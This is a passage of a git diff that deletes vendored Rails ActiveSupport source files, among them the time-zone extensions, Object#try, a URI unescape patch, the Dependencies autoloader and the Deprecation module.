-        #   your_time.to_date                                 # => Tue, 13 Jan 2009
-        def to_date
-          ::Date.new(year, month, day)
-        end
-
-        # A method to keep Time, Date and DateTime instances interchangeable on conversions.
-        # In this case, it simply returns +self+.
-        def to_time
-          self
-        end
-
-        # Converts a Time instance to a Ruby DateTime instance, preserving UTC offset.
-        #
-        #   my_time = Time.now    # => Mon Nov 12 23:04:21 -0500 2007
-        #   my_time.to_datetime   # => Mon, 12 Nov 2007 23:04:21 -0500
-        #
-        #   your_time = Time.parse("1/13/2009 1:13:03 P.M.")  # => Tue Jan 13 13:13:03 -0500 2009
-        #   your_time.to_datetime                             # => Tue, 13 Jan 2009 13:13:03 -0500
-        def to_datetime
-          ::DateTime.civil(year, month, day, hour, min, sec, Rational(utc_offset, 86400))
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/time/zones.rb b/vendor/rails/activesupport/lib/active_support/core_ext/time/zones.rb
deleted file mode 100644
index 9d8eb739..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/time/zones.rb
+++ /dev/null
@@ -1,86 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Time #:nodoc:
-      module Zones
-        def self.included(base) #:nodoc:
-          base.extend(ClassMethods) if base == ::Time # i.e., don't include class methods in DateTime
-        end
-        
-        module ClassMethods
-          attr_accessor :zone_default
-          
-          # Returns the TimeZone for the current request, if this has been set (via Time.zone=). 
-          # If <tt>Time.zone</tt> has not been set for the current request, returns the TimeZone specified in <tt>config.time_zone</tt>.
-          def zone
-            Thread.current[:time_zone] || zone_default
-          end
-
-          # Sets <tt>Time.zone</tt> to a TimeZone object for the current request/thread. 
-          #
-          # This method accepts any of the following:
-          #
-          # * A Rails TimeZone object.
-          # * An identifier for a Rails TimeZone object (e.g., "Eastern Time (US & Canada)", <tt>-5.hours</tt>).
-          # * A TZInfo::Timezone object.
-          # * An identifier for a TZInfo::Timezone object (e.g., "America/New_York").
-          #
-          # Here's an example of how you might set <tt>Time.zone</tt> on a per request basis -- <tt>current_user.time_zone</tt>
-          # just needs to return a string identifying the user's preferred TimeZone:
-          #
-          #   class ApplicationController < ActionController::Base
-          #     before_filter :set_time_zone
-          #
-          #     def set_time_zone
-          #       Time.zone = current_user.time_zone
-          #     end
-          #   end
-          def zone=(time_zone)
-            Thread.current[:time_zone] = get_zone(time_zone)
-          end
-          
-          # Allows override of <tt>Time.zone</tt> locally inside supplied block; resets <tt>Time.zone</tt> to existing value when done.
-          def use_zone(time_zone)
-            old_zone, ::Time.zone = ::Time.zone, get_zone(time_zone)
-            yield
-          ensure
-            ::Time.zone = old_zone
-          end
-          
-          # Returns <tt>Time.zone.now</tt> when <tt>config.time_zone</tt> is set, otherwise just returns <tt>Time.now</tt>.
-          def current
-            ::Time.zone_default ? ::Time.zone.now : ::Time.now
-          end
-          
-          private
-            def get_zone(time_zone)
-              return time_zone if time_zone.nil? || time_zone.is_a?(TimeZone)
-              # lookup timezone based on identifier (unless we've been passed a TZInfo::Timezone)
-              unless time_zone.respond_to?(:period_for_local)
-                time_zone = TimeZone[time_zone] || TZInfo::Timezone.get(time_zone) rescue nil
-              end
-              # Return if a TimeZone instance, or wrap in a TimeZone instance if a TZInfo::Timezone
-              if time_zone
-                time_zone.is_a?(TimeZone) ? time_zone : TimeZone.create(time_zone.name, nil, time_zone)
-              end
-            end
-        end
-        
-        # Returns the simultaneous time in <tt>Time.zone</tt>.
-        #
-        #   Time.zone = 'Hawaii'         # => 'Hawaii'
-        #   Time.utc(2000).in_time_zone  # => Fri, 31 Dec 1999 14:00:00 HST -10:00
-        #
-        # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt> as the local zone
-        # instead of the operating system's time zone.
-        #
-        # You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument, 
-        # and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
-        #
-        #   Time.utc(2000).in_time_zone('Alaska')  # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
-        def in_time_zone(zone = ::Time.zone)
-          ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.__send__(:get_zone, zone))
-        end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/try.rb b/vendor/rails/activesupport/lib/active_support/core_ext/try.rb
deleted file mode 100644
index 3de198d1..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/try.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-class Object
-  # Invokes the method identified by the symbol +method+, passing it any arguments 
-  # and/or the block specified, just like the regular Ruby <tt>Object#send</tt> does.
-  #
-  # *Unlike* that method however, a +NoMethodError+ exception will *not* be raised 
-  # and +nil+ will be returned instead, if the receiving object is a +nil+ object or NilClass.
-  #
-  # ==== Examples
-  #
-  # Without try
-  #   @person && @person.name
-  # or
-  #   @person ? @person.name : nil
-  #
-  # With try
-  #   @person.try(:name)
-  #
-  # +try+ also accepts arguments and/or a block, for the method it is trying
-  #   Person.try(:find, 1)
-  #   @people.try(:collect) {|p| p.name}
-  #--
-  # This method definition below is for rdoc purposes only. The alias_method call 
-  # below overrides it as an optimization since +try+ behaves like +Object#send+,
-  # unless called on +NilClass+.
-  def try(method, *args, &block)
-    send(method, *args, &block)
-  end
-  remove_method :try
-  alias_method :try, :__send__
-end
-
-class NilClass
-  def try(*args)
-    nil
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/uri.rb b/vendor/rails/activesupport/lib/active_support/core_ext/uri.rb
deleted file mode 100644
index 9a1c61d9..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/uri.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-if RUBY_VERSION >= '1.9'
-  require 'uri'
-
-  str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
-  str.force_encoding(Encoding::UTF_8) if str.respond_to?(:force_encoding)
-
-  unless str == URI.unescape(URI.escape(str))
-    URI::Parser.class_eval do
-      remove_method :unescape
-      def unescape(str, escaped = @regexp[:ESCAPED])
-        enc = (str.encoding == Encoding::US_ASCII) ? Encoding::UTF_8 : str.encoding
-        str.gsub(escaped) { [$&[1, 2].hex].pack('C') }.force_encoding(enc)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/dependencies.rb b/vendor/rails/activesupport/lib/active_support/dependencies.rb
deleted file mode 100644
index ffb1f231..00000000
--- a/vendor/rails/activesupport/lib/active_support/dependencies.rb
+++ /dev/null
@@ -1,651 +0,0 @@
-require 'thread'
-
-module ActiveSupport #:nodoc:
-  module Dependencies #:nodoc:
-    extend self
-
-    # Should we turn on Ruby warnings on the first load of dependent files?
-    mattr_accessor :warnings_on_first_load
-    self.warnings_on_first_load = false
-
-    # All files ever loaded.
-    mattr_accessor :history
-    self.history = Set.new
-
-    # All files currently loaded.
-    mattr_accessor :loaded
-    self.loaded = Set.new
-
-    # Should we load files or require them?
-    mattr_accessor :mechanism
-    self.mechanism = :load
-
-    # The set of directories from which we may automatically load files. Files
-    # under these directories will be reloaded on each request in development mode,
-    # unless the directory also appears in autoload_once_paths.
-    mattr_accessor :autoload_paths
-    self.autoload_paths = []
-    
-    # Deprecated, use autoload_paths.
-    def self.load_paths
-      ActiveSupport::Deprecation.warn("ActiveSupport::Dependencies.load_paths is deprecated, please use autoload_paths instead", caller)
-      autoload_paths
-    end
-
-    # Deprecated, use autoload_paths=.
-    def self.load_paths=(paths)
-      ActiveSupport::Deprecation.warn("ActiveSupport::Dependencies.load_paths= is deprecated, please use autoload_paths= instead", caller)
-      self.autoload_paths = paths
-    end
-
-    # The set of directories from which automatically loaded constants are loaded
-    # only once. All directories in this set must also be present in +autoload_paths+.
-    mattr_accessor :autoload_once_paths
-    self.autoload_once_paths = []
-
-    # Deprecated, use autoload_once_paths.
-    def self.load_once_paths
-      ActiveSupport::Deprecation.warn("ActiveSupport::Dependencies.load_once_paths is deprecated and removed in Rails 3, please use autoload_once_paths instead", caller)
-      autoload_once_paths
-    end
-
-    # Deprecated, use autoload_once_paths=.
-    def self.load_once_paths=(paths)
-      ActiveSupport::Deprecation.warn("ActiveSupport::Dependencies.load_once_paths= is deprecated and removed in Rails 3, please use autoload_once_paths= instead", caller)
-      self.autoload_once_paths = paths
-    end
-
-    # An array of qualified constant names that have been loaded. Adding a name to
-    # this array will cause it to be unloaded the next time Dependencies are cleared.
-    mattr_accessor :autoloaded_constants
-    self.autoloaded_constants = []
-
-    # An array of constant names that need to be unloaded on every request. Used
-    # to allow arbitrary constants to be marked for unloading.
-    mattr_accessor :explicitly_unloadable_constants
-    self.explicitly_unloadable_constants = []
-
-    # The logger is used for generating information on the action run-time (including benchmarking) if available.
-    # Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.
-    mattr_accessor :logger
-
-    # Set to true to enable logging of const_missing and file loads
-    mattr_accessor :log_activity
-    self.log_activity = false
-
-    # An internal stack used to record which constants are loaded by any block.
-    mattr_accessor :constant_watch_stack
-    self.constant_watch_stack = []
-
-    mattr_accessor :constant_watch_stack_mutex
-    self.constant_watch_stack_mutex = Mutex.new
-
-    # Module includes this module
-    module ModuleConstMissing #:nodoc:
-      def self.included(base) #:nodoc:
-        base.class_eval do
-          unless defined? const_missing_without_dependencies
-            alias_method_chain :const_missing, :dependencies
-          end
-        end
-      end
-
-      def self.excluded(base) #:nodoc:
-        base.class_eval do
-          if defined? const_missing_without_dependencies
-            undef_method :const_missing
-            alias_method :const_missing, :const_missing_without_dependencies
-            undef_method :const_missing_without_dependencies
-          end
-        end
-      end
-
-      # Use const_missing to autoload associations so we don't have to
-      # require_association when using single-table inheritance.
-      def const_missing_with_dependencies(class_id)
-        ActiveSupport::Dependencies.load_missing_constant self, class_id
-      end
-
-      def unloadable(const_desc = self)
-        super(const_desc)
-      end
-    end
-
-    # Class includes this module
-    module ClassConstMissing #:nodoc:
-      def const_missing(const_name)
-        if [Object, Kernel].include?(self) || parent == self
-          super
-        else
-          begin
-            begin
-              Dependencies.load_missing_constant self, const_name
-            rescue NameError
-              parent.send :const_missing, const_name
-            end
-          rescue NameError => e
-            # Make sure that the name we are missing is the one that caused the error
-            parent_qualified_name = Dependencies.qualified_name_for parent, const_name
-            raise unless e.missing_name? parent_qualified_name
-            qualified_name = Dependencies.qualified_name_for self, const_name
-            raise NameError.new("uninitialized constant #{qualified_name}").copy_blame!(e)
-          end
-        end
-      end
-    end
-
-    # Object includes this module
-    module Loadable #:nodoc:
-      def self.included(base) #:nodoc:
-        base.class_eval do
-          unless defined? load_without_new_constant_marking
-            alias_method_chain :load, :new_constant_marking
-          end
-        end
-      end
-
-      def self.excluded(base) #:nodoc:
-        base.class_eval do
-          if defined? load_without_new_constant_marking
-            undef_method :load
-            alias_method :load, :load_without_new_constant_marking
-            undef_method :load_without_new_constant_marking
-          end
-        end
-      end
-
-      def require_or_load(file_name)
-        Dependencies.require_or_load(file_name)
-      end
-
-      def require_dependency(file_name)
-        Dependencies.depend_on(file_name)
-      end
-
-      def require_association(file_name)
-        Dependencies.associate_with(file_name)
-      end
-
-      def load_with_new_constant_marking(file, *extras) #:nodoc:
-        if Dependencies.load?
-          Dependencies.new_constants_in(Object) { load_without_new_constant_marking(file, *extras) }
-        else
-          load_without_new_constant_marking(file, *extras)
-        end
-      rescue Exception => exception  # errors from loading file
-        exception.blame_file! file
-        raise
-      end
-
-      def require(file, *extras) #:nodoc:
-        if Dependencies.load?
-          Dependencies.new_constants_in(Object) { super }
-        else
-          super
-        end
-      rescue Exception => exception  # errors from required file
-        exception.blame_file! file
-        raise
-      end
-
-      # Mark the given constant as unloadable. Unloadable constants are removed each
-      # time dependencies are cleared.
-      #
-      # Note that marking a constant for unloading need only be done once. Setup
-      # or init scripts may list each unloadable constant that may need unloading;
-      # each constant will be removed for every subsequent clear, as opposed to for
-      # the first clear.
-      #
-      # The provided constant descriptor may be a (non-anonymous) module or class,
-      # or a qualified constant name as a string or symbol.
-      #
-      # Returns true if the constant was not previously marked for unloading, false
-      # otherwise.
-      def unloadable(const_desc)
-        Dependencies.mark_for_unload const_desc
-      end
-    end
-
-    # Exception file-blaming
-    module Blamable #:nodoc:
-      def blame_file!(file)
-        (@blamed_files ||= []).unshift file
-      end
-
-      def blamed_files
-        @blamed_files ||= []
-      end
-
-      def describe_blame
-        return nil if blamed_files.empty?
-        "This error occurred while loading the following files:\n   #{blamed_files.join "\n   "}"
-      end
-
-      def copy_blame!(exc)
-        @blamed_files = exc.blamed_files.clone
-        self
-      end
-    end
-
-    def hook!
-      Object.instance_eval { include Loadable }
-      Module.instance_eval { include ModuleConstMissing }
-      Class.instance_eval { include ClassConstMissing }
-      Exception.instance_eval { include Blamable }
-      true
-    end
-
-    def unhook!
-      ModuleConstMissing.excluded(Module)
-      Loadable.excluded(Object)
-      true
-    end
-
-    def load?
-      mechanism == :load
-    end
-
-    def depend_on(file_name, swallow_load_errors = false)
-      path = search_for_file(file_name)
-      require_or_load(path || file_name)
-    rescue LoadError
-      raise unless swallow_load_errors
-    end
-
-    def associate_with(file_name)
-      depend_on(file_name, true)
-    end
-
-    def clear
-      log_call
-      loaded.clear
-      remove_unloadable_constants!
-    end
-
-    def require_or_load(file_name, const_path = nil)
-      log_call file_name, const_path
-      file_name = $1 if file_name =~ /^(.*)\.rb$/
-      expanded = File.expand_path(file_name)
-      return if loaded.include?(expanded)
-
-      # Record that we've seen this file *before* loading it to avoid an
-      # infinite loop with mutual dependencies.
-      loaded << expanded
-
-      begin
-        if load?
-          log "loading #{file_name}"
-
-          # Enable warnings iff this file has not been loaded before and
-          # warnings_on_first_load is set.
-          load_args = ["#{file_name}.rb"]
-          load_args << const_path unless const_path.nil?
-
-          if !warnings_on_first_load or history.include?(expanded)
-            result = load_file(*load_args)
-          else
-            enable_warnings { result = load_file(*load_args) }
-          end
-        else
-          log "requiring #{file_name}"
-          result = require file_name
-        end
-      rescue Exception
-        loaded.delete expanded
-        raise
-      end
-
-      # Record history *after* loading so first load gets warnings.
-      history << expanded
-      return result
-    end
-
-    # Is the provided constant path defined?
-    def qualified_const_defined?(path)
-      raise NameError, "#{path.inspect} is not a valid constant name!" unless
-        /^(::)?([A-Z]\w*)(::[A-Z]\w*)*$/ =~ path
-
-      names = path.to_s.split('::')
-      names.shift if names.first.empty?
-
-      # We can't use defined? because it will invoke const_missing for the parent
-      # of the name we are checking.
-      names.inject(Object) do |mod, name|
-        return false unless uninherited_const_defined?(mod, name)
-        mod.const_get name
-      end
-      return true
-    end
-
-    if Module.method(:const_defined?).arity == 1
-      # Does this module define this constant?
-      # Wrapper to accomodate changing Module#const_defined? in Ruby 1.9
-      def uninherited_const_defined?(mod, const)
-        mod.const_defined?(const)
-      end
-    else
-      def uninherited_const_defined?(mod, const) #:nodoc:
-        mod.const_defined?(const, false)
-      end
-    end
-
-    # Given +path+, a filesystem path to a ruby file, return an array of constant
-    # paths which would cause Dependencies to attempt to load this file.
-    def loadable_constants_for_path(path, bases = autoload_paths)
-      path = $1 if path =~ /\A(.*)\.rb\Z/
-      expanded_path = File.expand_path(path)
-
-      bases.collect do |root|
-        expanded_root = File.expand_path(root)
-        next unless %r{\A#{Regexp.escape(expanded_root)}(/|\\)} =~ expanded_path
-
-        nesting = expanded_path[(expanded_root.size)..-1]
-        nesting = nesting[1..-1] if nesting && nesting[0] == ?/
-        next if nesting.blank?
-        nesting_camel = nesting.camelize
-        begin
-          qualified_const_defined?(nesting_camel)
-        rescue NameError
-          next
-        end
-        [ nesting_camel ]
-      end.flatten.compact.uniq
-    end
-
-    # Search for a file in autoload_paths matching the provided suffix.
-    def search_for_file(path_suffix)
-      path_suffix = path_suffix + '.rb' unless path_suffix.ends_with? '.rb'
-      autoload_paths.each do |root|
-        path = File.join(root, path_suffix)
-        return path if File.file? path
-      end
-      nil # Gee, I sure wish we had first_match ;-)
-    end
-
-    # Does the provided path_suffix correspond to an autoloadable module?
-    # Instead of returning a boolean, the autoload base for this module is returned.
-    def autoloadable_module?(path_suffix)
-      autoload_paths.each do |load_path|
-        return load_path if File.directory? File.join(load_path, path_suffix)
-      end
-      nil
-    end
-
-    def load_once_path?(path)
-      autoload_once_paths.any? { |base| path.starts_with? base }
-    end
-
-    # Attempt to autoload the provided module name by searching for a directory
-    # matching the expect path suffix. If found, the module is created and assigned
-    # to +into+'s constants with the name +const_name+. Provided that the directory
-    # was loaded from a reloadable base path, it is added to the set of constants
-    # that are to be unloaded.
-    def autoload_module!(into, const_name, qualified_name, path_suffix)
-      return nil unless base_path = autoloadable_module?(path_suffix)
-      mod = Module.new
-      into.const_set const_name, mod
-      autoloaded_constants << qualified_name unless autoload_once_paths.include?(base_path)
-      return mod
-    end
-
-    # Load the file at the provided path. +const_paths+ is a set of qualified
-    # constant names. When loading the file, Dependencies will watch for the
-    # addition of these constants. Each that is defined will be marked as
-    # autoloaded, and will be removed when Dependencies.clear is next called.
-    #
-    # If the second parameter is left off, then Dependencies will construct a set
-    # of names that the file at +path+ may define. See
-    # +loadable_constants_for_path+ for more details.
-    def load_file(path, const_paths = loadable_constants_for_path(path))
-      log_call path, const_paths
-      const_paths = [const_paths].compact unless const_paths.is_a? Array
-      parent_paths = const_paths.collect { |const_path| /(.*)::[^:]+\Z/ =~ const_path ? $1 : :Object }
-
-      result = nil
-      newly_defined_paths = new_constants_in(*parent_paths) do
-        result = load_without_new_constant_marking path
-      end
-
-      autoloaded_constants.concat newly_defined_paths unless load_once_path?(path)
-      autoloaded_constants.uniq!
-      log "loading #{path} defined #{newly_defined_paths * ', '}" unless newly_defined_paths.empty?
-      return result
-    end
-
-    # Return the constant path for the provided parent and constant name.
-    def qualified_name_for(mod, name)
-      mod_name = to_constant_name mod
-      (%w(Object Kernel).include? mod_name) ? name.to_s : "#{mod_name}::#{name}"
-    end
-
-    # Load the constant named +const_name+ which is missing from +from_mod+. If
-    # it is not possible to load the constant into from_mod, try its parent module
-    # using const_missing.
-    def load_missing_constant(from_mod, const_name)
-      log_call from_mod, const_name
-      if from_mod == Kernel
-        if ::Object.const_defined?(const_name)
-          log "Returning Object::#{const_name} for Kernel::#{const_name}"
-          return ::Object.const_get(const_name)
-        else
-          log "Substituting Object for Kernel"
-          from_mod = Object
-        end
-      end
-
-      # If we have an anonymous module, all we can do is attempt to load from Object.
-      from_mod = Object if from_mod.name.blank?
-
-      unless qualified_const_defined?(from_mod.name) && from_mod.name.constantize.object_id == from_mod.object_id
-        raise ArgumentError, "A copy of #{from_mod} has been removed from the module tree but is still active!"
-      end
-
-      raise ArgumentError, "#{from_mod} is not missing constant #{const_name}!" if uninherited_const_defined?(from_mod, const_name)
-
-      qualified_name = qualified_name_for from_mod, const_name
-      path_suffix = qualified_name.underscore
-      name_error = NameError.new("uninitialized constant #{qualified_name}")
-
-      file_path = search_for_file(path_suffix)
-      if file_path && ! loaded.include?(File.expand_path(file_path)) # We found a matching file to load
-        require_or_load file_path
-        raise LoadError, "Expected #{file_path} to define #{qualified_name}" unless uninherited_const_defined?(from_mod, const_name)
-        return from_mod.const_get(const_name)
-      elsif mod = autoload_module!(from_mod, const_name, qualified_name, path_suffix)
-        return mod
-      elsif (parent = from_mod.parent) && parent != from_mod &&
-            ! from_mod.parents.any? { |p| uninherited_const_defined?(p, const_name) }
-        # If our parents do not have a constant named +const_name+ then we are free
-        # to attempt to load upwards. If they do have such a constant, then this
-        # const_missing must be due to from_mod::const_name, which should not
-        # return constants from from_mod's parents.
-        begin
-          return parent.const_missing(const_name)
-        rescue NameError => e
-          raise unless e.missing_name? qualified_name_for(parent, const_name)
-          raise name_error
-        end
-      else
-        raise name_error
-      end
-    end
-
-    # Remove the constants that have been autoloaded, and those that have been
-    # marked for unloading.
-    def remove_unloadable_constants!
-      autoloaded_constants.each { |const| remove_constant const }
-      autoloaded_constants.clear
-      explicitly_unloadable_constants.each { |const| remove_constant const }
-    end
-
-    # Determine if the given constant has been automatically loaded.
-    def autoloaded?(desc)
-      # No name => anonymous module.
-      return false if desc.is_a?(Module) && desc.name.blank?
-      name = to_constant_name desc
-      return false unless qualified_const_defined? name
-      return autoloaded_constants.include?(name)
-    end
-
-    # Will the provided constant descriptor be unloaded?
-    def will_unload?(const_desc)
-      autoloaded?(const_desc) ||
-        explicitly_unloadable_constants.include?(to_constant_name(const_desc))
-    end
-
-    # Mark the provided constant name for unloading. This constant will be
-    # unloaded on each request, not just the next one.
-    def mark_for_unload(const_desc)
-      name = to_constant_name const_desc
-      if explicitly_unloadable_constants.include? name
-        return false
-      else
-        explicitly_unloadable_constants << name
-        return true
-      end
-    end
-
-    # Run the provided block and detect the new constants that were loaded during
-    # its execution. Constants may only be regarded as 'new' once -- so if the
-    # block calls +new_constants_in+ again, then the constants defined within the
-    # inner call will not be reported in this one.
-    #
-    # If the provided block does not run to completion, and instead raises an
-    # exception, any new constants are regarded as being only partially defined
-    # and will be removed immediately.
-    def new_constants_in(*descs)
-      log_call(*descs)
-
-      # Build the watch frames. Each frame is a tuple of
-      #   [module_name_as_string, constants_defined_elsewhere]
-      watch_frames = descs.collect do |desc|
-        if desc.is_a? Module
-          mod_name = desc.name
-          initial_constants = desc.local_constant_names
-        elsif desc.is_a?(String) || desc.is_a?(Symbol)
-          mod_name = desc.to_s
-
-          # Handle the case where the module has yet to be defined.
-          initial_constants = if qualified_const_defined?(mod_name)
-            mod_name.constantize.local_constant_names
-          else
-            []
-          end
-        else
-          raise Argument, "#{desc.inspect} does not describe a module!"
-        end
-
-        [mod_name, initial_constants]
-      end
-
-      constant_watch_stack_mutex.synchronize do
-        constant_watch_stack.concat watch_frames
-      end
-
-      aborting = true
-      begin
-        yield # Now yield to the code that is to define new constants.
-        aborting = false
-      ensure
-        # Find the new constants.
-        new_constants = watch_frames.collect do |mod_name, prior_constants|
-          # Module still doesn't exist? Treat it as if it has no constants.
-          next [] unless qualified_const_defined?(mod_name)
-
-          mod = mod_name.constantize
-          next [] unless mod.is_a? Module
-          new_constants = mod.local_constant_names - prior_constants
-
-          # Make sure no other frames takes credit for these constants.
-          constant_watch_stack_mutex.synchronize do
-            constant_watch_stack.each do |frame_name, constants|
-              constants.concat new_constants if frame_name == mod_name
-            end
-          end
-
-          new_constants.collect do |suffix|
-            mod_name == "Object" ? suffix : "#{mod_name}::#{suffix}"
-          end
-        end.flatten
-
-        log "New constants: #{new_constants * ', '}"
-
-        if aborting
-          log "Error during loading, removing partially loaded constants "
-          new_constants.each { |name| remove_constant name }
-          new_constants.clear
-        end
-      end
-
-      return new_constants
-    ensure
-      # Remove the stack frames that we added.
-      if defined?(watch_frames) && ! watch_frames.blank?
-        frame_ids = watch_frames.collect { |frame| frame.object_id }
-        constant_watch_stack_mutex.synchronize do
-          constant_watch_stack.delete_if do |watch_frame|
-            frame_ids.include? watch_frame.object_id
-          end
-        end
-      end
-    end
-
-    class LoadingModule #:nodoc:
-      # Old style environment.rb referenced this method directly.  Please note, it doesn't
-      # actually *do* anything any more.
-      def self.root(*args)
-        if defined?(Rails) && Rails.logger
-          Rails.logger.warn "Your environment.rb uses the old syntax, it may not continue to work in future releases."
-          Rails.logger.warn "For upgrade instructions please see: http://manuals.rubyonrails.com/read/book/19"
-        end
-      end
-    end
-
-    # Convert the provided const desc to a qualified constant name (as a string).
-    # A module, class, symbol, or string may be provided.
-    def to_constant_name(desc) #:nodoc:
-      name = case desc
-        when String then desc.starts_with?('::') ? desc[2..-1] : desc
-        when Symbol then desc.to_s
-        when Module
-          raise ArgumentError, "Anonymous modules have no name to be referenced by" if desc.name.blank?
-          desc.name
-        else raise TypeError, "Not a valid constant descriptor: #{desc.inspect}"
-      end
-    end
-
-    def remove_constant(const) #:nodoc:
-      return false unless qualified_const_defined? const
-
-      const = $1 if /\A::(.*)\Z/ =~ const.to_s
-      names = const.to_s.split('::')
-      if names.size == 1 # It's under Object
-        parent = Object
-      else
-        parent = (names[0..-2] * '::').constantize
-      end
-
-      log "removing constant #{const}"
-      parent.instance_eval { remove_const names.last }
-      return true
-    end
-
-    protected
-      def log_call(*args)
-        if logger && log_activity
-          arg_str = args.collect { |arg| arg.inspect } * ', '
-          /in `([a-z_\?\!]+)'/ =~ caller(1).first
-          selector = $1 || '<unknown>'
-          log "called #{selector}(#{arg_str})"
-        end
-      end
-
-      def log(msg)
-        if logger && log_activity
-          logger.debug "Dependencies: #{msg}"
-        end
-      end
-  end
-end
-
-ActiveSupport::Dependencies.hook!
diff --git a/vendor/rails/activesupport/lib/active_support/deprecation.rb b/vendor/rails/activesupport/lib/active_support/deprecation.rb
deleted file mode 100644
index 2c86a6fd..00000000
--- a/vendor/rails/activesupport/lib/active_support/deprecation.rb
+++ /dev/null
@@ -1,204 +0,0 @@
-require 'yaml'
-
-module ActiveSupport
-  module Deprecation #:nodoc:
-    mattr_accessor :debug
-    self.debug = false
-
-    # Choose the default warn behavior according to RAILS_ENV.
-    # Ignore deprecation warnings in production.
-    DEFAULT_BEHAVIORS = {
-      'test'        => Proc.new { |message, callstack|
-                         $stderr.puts(message)
-                         $stderr.puts callstack.join("\n  ") if debug
-                       },
-      'development' => Proc.new { |message, callstack|
-                         logger = (defined?(Rails) && Rails.logger) ? Rails.logger : Logger.new($stderr)
-                         logger.warn message
-                         logger.debug callstack.join("\n  ") if debug
-                       }
-    }
-
-    class << self
-      def warn(message = nil, callstack = caller)
-        behavior.call(deprecation_message(callstack, message), callstack) if behavior && !silenced?
-      end
-
-      def default_behavior
-        if defined?(RAILS_ENV)
-          DEFAULT_BEHAVIORS[RAILS_ENV.to_s]
-        else
-          DEFAULT_BEHAVIORS['test']
-        end
-      end
-
-      # Have deprecations been silenced?
-      def silenced?
-        @silenced = false unless defined?(@silenced)
-        @silenced
-      end
-
-      # Silence deprecation warnings within the block.
-      def silence
-        old_silenced, @silenced = @silenced, true
-        yield
-      ensure
-        @silenced = old_silenced
-      end
-
-      attr_writer :silenced
-
-
-      private
-        def deprecation_message(callstack, message = nil)
-          message ||= "You are using deprecated behavior which will be removed from the next major or minor release."
-          message += '.' unless message =~ /\.$/
-          "DEPRECATION WARNING: #{message} #{deprecation_caller_message(callstack)}"
-        end
-
-        def deprecation_caller_message(callstack)
-          file, line, method = extract_callstack(callstack)
-          if file
-            if line && method
-              "(called from #{method} at #{file}:#{line})"
-            else
-              "(called from #{file}:#{line})"
-            end
-          end
-        end
-
-        def extract_callstack(callstack)
-          if md = callstack.first.match(/^(.+?):(\d+)(?::in `(.*?)')?/)
-            md.captures
-          else
-            callstack.first
-          end
-        end
-    end
-
-    # Behavior is a block that takes a message argument.
-    mattr_accessor :behavior
-    self.behavior = default_behavior
-
-    # Warnings are not silenced by default.
-    self.silenced = false
-
-    module ClassMethods #:nodoc:
-      # Declare that a method has been deprecated.
-      def deprecate(*method_names)
-        options = method_names.extract_options!
-        method_names = method_names + options.keys
-        method_names.each do |method_name|
-          alias_method_chain(method_name, :deprecation) do |target, punctuation|
-            class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-              def #{target}_with_deprecation#{punctuation}(*args, &block)          # def generate_secret_with_deprecation(*args, &block)
-                ::ActiveSupport::Deprecation.warn(                                 #   ::ActiveSupport::Deprecation.warn(
-                  self.class.deprecated_method_warning(                            #     self.class.deprecated_method_warning(
-                    :#{method_name},                                               #       :generate_secret,
-                    #{options[method_name].inspect}),                              #       "You should use ActiveSupport::SecureRandom.hex(64)"),
-                  caller                                                           #     caller
-                )                                                                  #   )
-                send(:#{target}_without_deprecation#{punctuation}, *args, &block)  #   send(:generate_secret_without_deprecation, *args, &block)
-              end                                                                  # end
-            EOS
-          end
-        end
-      end
-
-      def deprecated_method_warning(method_name, message=nil)
-        warning = "#{method_name} is deprecated and will be removed from Rails #{deprecation_horizon}"
-        case message
-          when Symbol then "#{warning} (use #{message} instead)"
-          when String then "#{warning} (#{message})"
-          else warning
-        end
-      end
-
-      def deprecation_horizon
-        '2.3'
-      end
-    end
-
-    class DeprecationProxy #:nodoc:
-      def self.new(*args, &block)
-        object = args.first
-        
-        return object unless object
-        super
-      end
-      
-      silence_warnings do
-        instance_methods.each { |m| undef_method m unless m =~ /^__/ }
-      end
-
-      # Don't give a deprecation warning on inspect since test/unit and error
-      # logs rely on it for diagnostics.
-      def inspect
-        target.inspect
-      end
-
-      private
-        def method_missing(called, *args, &block)
-          warn caller, called, args
-          target.__send__(called, *args, &block)
-        end
-    end
-
-    class DeprecatedObjectProxy < DeprecationProxy
-      def initialize(object, message)
-        @object = object
-        @message = message
-      end
-
-      private
-        def target
-          @object
-        end
-
-        def warn(callstack, called, args)
-          ActiveSupport::Deprecation.warn(@message, callstack)
-        end
-    end
-
-    # Stand-in for <tt>@request</tt>, <tt>@attributes</tt>, <tt>@params</tt>, etc.
-    # which emits deprecation warnings on any method call (except +inspect+).
-    class DeprecatedInstanceVariableProxy < DeprecationProxy #:nodoc:
-      def initialize(instance, method, var = "@#{method}")
-        @instance, @method, @var = instance, method, var
-      end
-
-      private
-        def target
-          @instance.__send__(@method)
-        end
-
-        def warn(callstack, called, args)
-          ActiveSupport::Deprecation.warn("#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack)
-        end
-    end
-
-    class DeprecatedConstantProxy < DeprecationProxy #:nodoc:
-      def initialize(old_const, new_const)
-        @old_const = old_const
-        @new_const = new_const
-      end
-
-      def class
-        target.class
-      end
-
-      private
-        def target
-          @new_const.to_s.constantize
-        end
-
-        def warn(callstack, called, args)
-          ActiveSupport::Deprecation.warn("#{@old_const} is deprecated! Use #{@new_const} instead.", callstack)
-        end
-    end
-  end
-end
-
-class Module
-  include ActiveSupport::Deprecation::ClassMethods
